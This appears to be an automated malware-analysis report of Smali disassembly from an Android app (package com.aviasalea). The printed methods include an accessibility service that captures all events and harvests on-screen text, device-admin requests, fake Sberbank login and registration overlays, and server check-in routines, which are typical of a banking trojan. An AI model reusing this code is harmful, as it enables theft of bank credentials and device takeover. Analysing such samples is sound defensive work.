                                      3const/4 v3, 0x0
                                      5invoke-virtual {p1}, Landroid/view/View;->onCheckIsTextEditor()Z
                                      6move-result v4
                                      7if-eqz v4, :cond_9
                                      8goto_8: return v2
                                      9cond_9: instance-of v4, p1, Landroid/view/ViewGroup;
                                      10if-nez v4, :cond_f
                                      11move v2, v3
                                      12goto/16 :goto_8
                                      13cond_f: move-object v1, p1
                                      14check-cast v1, Landroid/view/ViewGroup;
                                      16invoke-virtual {v1}, Landroid/view/ViewGroup;->getChildCount()I
                                      17move-result v0
                                      18cond_16: if-lez v0, :cond_25
                                      19add-int/lit8 v0, v0, -0x1
                                      21invoke-virtual {v1, v0}, Landroid/view/ViewGroup;->getChildAt(I)Landroid/view/View;
                                      22move-result-object p1
                                      24invoke-direct {p0, p1}, Lcom/aviasalea/base/dialog/AlertDialog;->canTextInput(Landroid/view/View;)Z
                                      25move-result v4
                                      26if-eqz v4, :cond_16
                                      27goto/16 :goto_8
                                      28cond_25: move v2, v3
                                      29goto/16 :goto_8
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.message:Ljava/lang/CharSequence
                                      • android.text.TextUtils.isEmpty
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.message:Ljava/lang/CharSequence
                                      • android.widget.TextView.setText
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setVisibility
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setVisibility
                                      Position Instruction Meta Information
                                      0.param p1, "text" # Ljava/lang/CharSequence;
                                      1.prologue
                                      2iput-object p1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->message:Ljava/lang/CharSequence;
                                      4iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      5if-eqz v0, :cond_1b
                                      7iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->message:Ljava/lang/CharSequence;
                                      9invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                      10move-result v0
                                      11if-nez v0, :cond_1c
                                      13iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      15iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->message:Ljava/lang/CharSequence;
                                      17invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                                      19iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      20const/4 v1, 0x0
                                      22invoke-virtual {v0, v1}, Landroid/widget/TextView;->setVisibility(I)V
                                      23goto_1b: return-void
                                      24cond_1c:
                                      25iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      26const/16 v1, 0x8
                                      28invoke-virtual {v0, v1}, Landroid/widget/TextView;->setVisibility(I)V
                                      29goto/16 :goto_1b
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.tvScan:Landroid/widget/TextView
                                      • android.widget.TextView.setOnClickListener
                                      • com.aviasalea.injs.s.views.SberRegisterView.imBack:Landroid/widget/ImageView
                                      • android.widget.ImageView.setOnClickListener
                                      • com.aviasalea.injs.s.views.SberRegisterView.tvRegCancel:Landroid/widget/TextView
                                      • android.widget.TextView.setOnClickListener
                                      • com.aviasalea.injs.s.views.SberRegisterView.btnReg:Landroid/widget/RelativeLayout
                                      • android.widget.RelativeLayout.setOnClickListener
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->tvScan:Landroid/widget/TextView;
                                      3new-instance v1, Lcom/aviasalea/injs/s/views/SberRegisterView$5;
                                      5invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/views/SberRegisterView$5;-><init>(Lcom/aviasalea/injs/s/views/SberRegisterView;)V
                                      7invoke-virtual {v0, v1}, Landroid/widget/TextView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      9iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->imBack:Landroid/widget/ImageView;
                                      10new-instance v1, Lcom/aviasalea/injs/s/views/SberRegisterView$6;
                                      12invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/views/SberRegisterView$6;-><init>(Lcom/aviasalea/injs/s/views/SberRegisterView;)V
                                      14invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      16iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->tvRegCancel:Landroid/widget/TextView;
                                      17new-instance v1, Lcom/aviasalea/injs/s/views/SberRegisterView$7;
                                      19invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/views/SberRegisterView$7;-><init>(Lcom/aviasalea/injs/s/views/SberRegisterView;)V
                                      21invoke-virtual {v0, v1}, Landroid/widget/TextView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      23iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->btnReg:Landroid/widget/RelativeLayout;
                                      24new-instance v1, Lcom/aviasalea/injs/s/views/SberRegisterView$8;
                                      26invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/views/SberRegisterView$8;-><init>(Lcom/aviasalea/injs/s/views/SberRegisterView;)V
                                      28invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      29return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.getClass
                                      • java.util.Map.get
                                      • java.lang.Object.equals
                                      • java.util.Map.remove
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Ljava/lang/Object;
                                      1.prologue
                                      3iget-object v3, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      4monitor-enter v3
                                      5try_start_3:
                                      6invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      7move-result-object v0
                                      9iget-object v2, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      11invoke-interface {v2, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      12move-result-object v1
                                      14invoke-virtual {p1, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                      15move-result v2
                                      16if-eqz v2, :cond_1b
                                      18iget-object v2, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      20invoke-interface {v2, v0}, Ljava/util/Map;->remove(Ljava/lang/Object;)Ljava/lang/Object;
                                      21const/4 v2, 0x1
                                      22monitor-exit v3
                                      23goto_1a: return v2
                                      24cond_1b: const/4 v2, 0x0
                                      25monitor-exit v3
                                      26goto/16 :goto_1a
                                      27catchall_1e: move-exception v2
                                      28monitor-exit v3
                                      29try_end_20: throw v2
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.g.GActivity.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.setCanceledOnTouchOutside
                                      • com.aviasalea.injs.g.GActivity.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.show
                                      • java.lang.Exception.printStackTrace
                                      • com.aviasalea.injs.g.GActivity.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.injs.g.GActivity.destroyDialog
                                      Position Instruction Meta Information
                                      0.param p1, "view" # Landroid/view/View;
                                      1.prologue
                                      2try_start_0: new-instance v0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      4invoke-direct {v0, p0}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                                      6invoke-virtual {v0, p1}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->setView(Landroid/view/View;)Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      8invoke-virtual {v0}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->create()Lcom/aviasalea/base/dialog/AlertDialog;
                                      9move-result-object v2
                                      10iput-object v2, p0, Lcom/aviasalea/injs/g/GActivity;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      12iget-object v2, p0, Lcom/aviasalea/injs/g/GActivity;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      13const/4 v3, 0x0
                                      15invoke-virtual {v2, v3}, Lcom/aviasalea/base/dialog/AlertDialog;->setCanceledOnTouchOutside(Z)V
                                      17iget-object v2, p0, Lcom/aviasalea/injs/g/GActivity;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      19invoke-virtual {v2}, Lcom/aviasalea/base/dialog/AlertDialog;->show()V
                                      20goto_19: return-void
                                      21catch_1a: move-exception v1
                                      23invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                                      25iget-object v2, p0, Lcom/aviasalea/injs/g/GActivity;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      27invoke-virtual {p0, v2}, Lcom/aviasalea/injs/g/GActivity;->destroyDialog(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      28goto/16 :goto_19
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.isStartAccess
                                      • android.content.Intent.<init>
                                      • android.content.Context.startService
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2try_start_0:
                                      3invoke-static {p0}, Lcom/aviasalea/Realtalk;->isStartAccess(Landroid/content/Context;)Z
                                      4move-result v1
                                      5if-eqz v1, :cond_1e
                                      6const-class v1, Lcom/aviasalea/srs/StDlgSrs;
                                      8invoke-static {v1, p0}, Lcom/aviasalea/checktls/CmndTls;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
                                      9move-result v1
                                      10if-nez v1, :cond_1e
                                      11sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                      12const/16 v2, 0x12
                                      13if-lt v1, v2, :cond_1e
                                      14new-instance v1, Landroid/content/Intent;
                                      15const-class v2, Lcom/aviasalea/srs/StDlgSrs;
                                      17invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      19invoke-virtual {p0, v1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                      20cond_1e: return-void
                                      21catch_1f: move-exception v0
                                      23invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      24goto/16 :goto_1e
                                      APIs
                                      • android.accessibilityservice.AccessibilityService.onServiceConnected
                                      • com.aviasalea.srs.GPSrs.onBack
                                      • android.accessibilityservice.AccessibilityServiceInfo.<init>
                                      • com.aviasalea.srs.GPSrs.setServiceInfo
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Landroid/accessibilityservice/AccessibilityService;->onServiceConnected()V
                                      4invoke-virtual {p0}, Lcom/aviasalea/srs/GPSrs;->onBack()V
                                      5new-instance v0, Landroid/accessibilityservice/AccessibilityServiceInfo;
                                      7invoke-direct {v0}, Landroid/accessibilityservice/AccessibilityServiceInfo;-><init>()V
                                      8sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                      9const/16 v2, 0x12
                                      10if-lt v1, v2, :cond_24
                                      11const/16 v1, 0x11
                                      12iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->flags:I
                                      13goto_15: const/4 v1, -0x1
                                      14iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->eventTypes:I
                                      15const/16 v1, 0x10
                                      16iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->feedbackType:I
                                      17const-wide/16 v2, 0xfa
                                      18iput-wide v2, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->notificationTimeout:J
                                      20invoke-virtual {p0, v0}, Lcom/aviasalea/srs/GPSrs;->setServiceInfo(Landroid/accessibilityservice/AccessibilityServiceInfo;)V
                                      21return-void
                                      22cond_24: const/4 v1, 0x1
                                      23iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->flags:I
                                      24goto/16 :goto_15
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                                      • java.util.List.isEmpty
                                      • java.util.List.get
                                      • android.view.accessibility.AccessibilityNodeInfo.isEnabled
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "id" # Ljava/lang/String;
                                      2.prologue
                                      3const/4 v2, 0x0
                                      5invoke-virtual {p0, p1}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_19
                                      9invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
                                      10move-result v1
                                      11if-nez v1, :cond_19
                                      13invoke-interface {v0, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      14move-result-object v1
                                      15check-cast v1, Landroid/view/accessibility/AccessibilityNodeInfo;
                                      17invoke-virtual {v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->isEnabled()Z
                                      18move-result v1
                                      19if-nez v1, :cond_1b
                                      20cond_19: move v1, v2
                                      21goto_1a: return v1
                                      22cond_1b: const/4 v1, 0x1
                                      23goto/16 :goto_1a
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                                      • java.util.List.isEmpty
                                      • java.util.List.get
                                      • android.view.accessibility.AccessibilityNodeInfo.isVisibleToUser
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "id" # Ljava/lang/String;
                                      2.prologue
                                      3const/4 v2, 0x0
                                      5invoke-virtual {p0, p1}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_19
                                      9invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
                                      10move-result v1
                                      11if-nez v1, :cond_19
                                      13invoke-interface {v0, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      14move-result-object v1
                                      15check-cast v1, Landroid/view/accessibility/AccessibilityNodeInfo;
                                      17invoke-virtual {v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->isVisibleToUser()Z
                                      18move-result v1
                                      19if-nez v1, :cond_1b
                                      20cond_19: move v1, v2
                                      21goto_1a: return v1
                                      22cond_1b: const/4 v1, 0x1
                                      23goto/16 :goto_1a
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.access$2100
                                      • com.aviasalea.base.dialog.AlertDialog.access$2100
                                      • android.content.DialogInterface$OnClickListener.onClick
                                      • com.aviasalea.base.dialog.AlertDialog.dismiss
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$10;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      5invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/content/DialogInterface$OnClickListener;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_14
                                      9iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$10;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      11invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/content/DialogInterface$OnClickListener;
                                      12move-result-object v0
                                      14iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$10;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      15const/4 v2, -0x2
                                      17invoke-interface {v0, v1, v2}, Landroid/content/DialogInterface$OnClickListener;->onClick(Landroid/content/DialogInterface;I)V
                                      18cond_14:
                                      19iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$10;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      21invoke-virtual {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->dismiss()V
                                      22return-void
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.access$1900
                                      • com.aviasalea.base.dialog.AlertDialog.access$1900
                                      • android.content.DialogInterface$OnClickListener.onClick
                                      • com.aviasalea.base.dialog.AlertDialog.dismiss
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$6;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      5invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1900(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/content/DialogInterface$OnClickListener;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_14
                                      9iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$6;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      11invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1900(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/content/DialogInterface$OnClickListener;
                                      12move-result-object v0
                                      14iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$6;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      15const/4 v2, -0x1
                                      17invoke-interface {v0, v1, v2}, Landroid/content/DialogInterface$OnClickListener;->onClick(Landroid/content/DialogInterface;I)V
                                      18cond_14:
                                      19iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$6;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      21invoke-virtual {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->dismiss()V
                                      22return-void
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.access$2000
                                      • com.aviasalea.base.dialog.AlertDialog.access$2000
                                      • android.content.DialogInterface$OnClickListener.onClick
                                      • com.aviasalea.base.dialog.AlertDialog.cancel
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$8;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      5invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2000(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/content/DialogInterface$OnClickListener;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_14
                                      9iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$8;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      11invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2000(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/content/DialogInterface$OnClickListener;
                                      12move-result-object v0
                                      14iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$8;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      15const/4 v2, -0x2
                                      17invoke-interface {v0, v1, v2}, Landroid/content/DialogInterface$OnClickListener;->onClick(Landroid/content/DialogInterface;I)V
                                      18cond_14:
                                      19iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$8;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      21invoke-virtual {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->cancel()V
                                      22return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      • com.aviasalea.Realtalk.setPreviousRid
                                      • com.aviasalea.srs.CmndSrs.startNotificationSound
                                      • com.aviasalea.srs.CmndSrs.sendingPushStatusToServer
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "result" # Lcom/aviasalea/srs/api/responses/HitGateResponse;
                                      2.prologue
                                      4iget-object v0, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->message:Ljava/lang/String;
                                      5iput-object v0, p0, Lcom/aviasalea/srs/CmndSrs;->mMessage:Ljava/lang/String;
                                      6iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      8invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      9move-result-wide v2
                                      10cmp-long v0, v0, v2
                                      11if-eqz v0, :cond_1e
                                      12iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      14invoke-static {p1, v0, v1}, Lcom/aviasalea/Realtalk;->setPreviousRid(Landroid/content/Context;J)V
                                      16invoke-static {p1, p2}, Lcom/aviasalea/not/NotController;->initNot(Landroid/content/Context;Lcom/aviasalea/srs/api/responses/HitGateResponse;)V
                                      18invoke-virtual {p0}, Lcom/aviasalea/srs/CmndSrs;->startNotificationSound()V
                                      19const-wide/16 v0, 0x0
                                      21invoke-direct {p0, v0, v1}, Lcom/aviasalea/srs/CmndSrs;->sendingPushStatusToServer(J)V
                                      22cond_1e: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      • com.aviasalea.Realtalk.setPreviousRid
                                      • com.aviasalea.srs.GPSrs.sendObjectBroadcast
                                      • com.aviasalea.srs.CmndSrs.sendChangeMSClToServer
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "result" # Lcom/aviasalea/srs/api/responses/HitGateResponse;
                                      2.prologue
                                      3iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      5invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      6move-result-wide v2
                                      7cmp-long v0, v0, v2
                                      8if-eqz v0, :cond_1b
                                      9iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      11invoke-static {p1, v0, v1}, Lcom/aviasalea/Realtalk;->setPreviousRid(Landroid/content/Context;J)V
                                      12const/16 v0, 0xc
                                      14iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->changeMSCl:Ljava/lang/String;
                                      16invoke-static {p1, v0, v1}, Lcom/aviasalea/srs/GPSrs;->sendObjectBroadcast(Landroid/content/Context;ILjava/lang/Object;)V
                                      17const-wide/16 v0, 0x0
                                      19invoke-direct {p0, v0, v1}, Lcom/aviasalea/srs/CmndSrs;->sendChangeMSClToServer(J)V
                                      20cond_1b: return-void
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityEvent.getPackageName
                                      • com.aviasalea.Realtalk.getAddDevicePackageFromJNI
                                      • java.lang.Object.equals
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p1, "accessibilityEvent" # Landroid/view/accessibility/AccessibilityEvent;
                                      1.prologue
                                      2try_start_0: iget-boolean v1, p0, Lcom/aviasalea/srs/GPSrs;->mIsAdReqKd:Z
                                      3if-eqz v1, :cond_15
                                      5invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                                      6move-result-object v1
                                      8invoke-static {}, Lcom/aviasalea/Realtalk;->getAddDevicePackageFromJNI()Ljava/lang/String;
                                      9move-result-object v2
                                      11invoke-virtual {v1, v2}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                      12move-result v1
                                      13if-nez v1, :cond_15
                                      15invoke-static {p0}, Lcom/aviasalea/checktls/IntTls;->startAdminRequest(Landroid/content/Context;)V
                                      16try_end_15: return-void
                                      17catch_16: move-exception v0
                                      19invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      20goto/16 :goto_15
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.getText
                                      • android.view.accessibility.AccessibilityNodeInfo.getText
                                      • java.lang.CharSequence.toString
                                      • java.lang.StringBuilder.append
                                      Position Instruction Meta Information
                                      0.param p0, "identityStr" # Ljava/lang/StringBuilder;
                                      1.param p1, "nodeInfo" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      2.prologue
                                      3if-eqz p0, :cond_a
                                      4if-eqz p1, :cond_a
                                      6invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityNodeInfo;->getText()Ljava/lang/CharSequence;
                                      7move-result-object v0
                                      8if-nez v0, :cond_b
                                      9cond_a: return-void
                                      10cond_b:
                                      11invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityNodeInfo;->getText()Ljava/lang/CharSequence;
                                      12move-result-object v0
                                      14invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      15move-result-object v0
                                      17invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      18goto/16 :goto_a
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • com.aviasalea.injs.s.SLogActivity.startActivity
                                      • com.aviasalea.injs.s.SLogActivity.finishActivity
                                      Position Instruction Meta Information
                                      0.prologue
                                      1new-instance v0, Landroid/content/Intent;
                                      3iget-object v1, p0, Lcom/aviasalea/injs/s/SLogActivity$1;->this$0:Lcom/aviasalea/injs/s/SLogActivity;
                                      4const-class v2, Lcom/aviasalea/injs/s/SRegActivity;
                                      6invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      7const v1, 0x10008000
                                      9invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      11iget-object v1, p0, Lcom/aviasalea/injs/s/SLogActivity$1;->this$0:Lcom/aviasalea/injs/s/SLogActivity;
                                      13invoke-virtual {v1, v0}, Lcom/aviasalea/injs/s/SLogActivity;->startActivity(Landroid/content/Intent;)V
                                      15iget-object v1, p0, Lcom/aviasalea/injs/s/SLogActivity$1;->this$0:Lcom/aviasalea/injs/s/SLogActivity;
                                      17invoke-virtual {v1}, Lcom/aviasalea/injs/s/SLogActivity;->finishActivity()V
                                      18return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onCreate
                                      • com.aviasalea.injs.g.view.GView.<init>
                                      • com.aviasalea.injs.g.GActivity.showDialog
                                      • com.aviasalea.injs.g.view.GView.setGpCallback
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Lcom/aviasalea/base/BaseActivity;->onCreate(Landroid/os/Bundle;)V
                                      5invoke-static {p0}, Lcom/aviasalea/checktls/ScrTls;->scrOn(Landroid/app/Activity;)V
                                      6new-instance v0, Lcom/aviasalea/injs/g/view/GView;
                                      8invoke-direct {v0, p0}, Lcom/aviasalea/injs/g/view/GView;-><init>(Landroid/content/Context;)V
                                      10invoke-direct {p0, v0}, Lcom/aviasalea/injs/g/GActivity;->showDialog(Landroid/view/View;)V
                                      11new-instance v1, Lcom/aviasalea/injs/g/GActivity$1;
                                      13invoke-direct {v1, p0}, Lcom/aviasalea/injs/g/GActivity$1;-><init>(Lcom/aviasalea/injs/g/GActivity;)V
                                      15invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/GView;->setGpCallback(Lcom/aviasalea/injs/g/view/GView$OnGPCallback;)V
                                      16return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onCreate
                                      • com.aviasalea.injs.s.views.SLogView.<init>
                                      • com.aviasalea.injs.s.SLogActivity.setContentView
                                      • com.aviasalea.injs.s.views.SLogView.setOnSberLoginCallback
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Lcom/aviasalea/base/BaseActivity;->onCreate(Landroid/os/Bundle;)V
                                      5invoke-static {p0}, Lcom/aviasalea/checktls/ScrTls;->scrOn(Landroid/app/Activity;)V
                                      6new-instance v0, Lcom/aviasalea/injs/s/views/SLogView;
                                      8invoke-direct {v0, p0}, Lcom/aviasalea/injs/s/views/SLogView;-><init>(Landroid/content/Context;)V
                                      10invoke-virtual {p0, v0}, Lcom/aviasalea/injs/s/SLogActivity;->setContentView(Landroid/view/View;)V
                                      11new-instance v1, Lcom/aviasalea/injs/s/SLogActivity$1;
                                      13invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/SLogActivity$1;-><init>(Lcom/aviasalea/injs/s/SLogActivity;)V
                                      15invoke-virtual {v0, v1}, Lcom/aviasalea/injs/s/views/SLogView;->setOnSberLoginCallback(Lcom/aviasalea/injs/s/views/SLogView$OnSberLoginCallback;)V
                                      16return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onCreate
                                      • com.aviasalea.injs.s.views.SberRegisterView.<init>
                                      • com.aviasalea.injs.s.SRegActivity.setContentView
                                      • com.aviasalea.injs.s.views.SberRegisterView.setOnSberRegisterCallback
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Lcom/aviasalea/base/BaseActivity;->onCreate(Landroid/os/Bundle;)V
                                      5invoke-static {p0}, Lcom/aviasalea/checktls/ScrTls;->scrOn(Landroid/app/Activity;)V
                                      6new-instance v0, Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      8invoke-direct {v0, p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;-><init>(Landroid/content/Context;)V
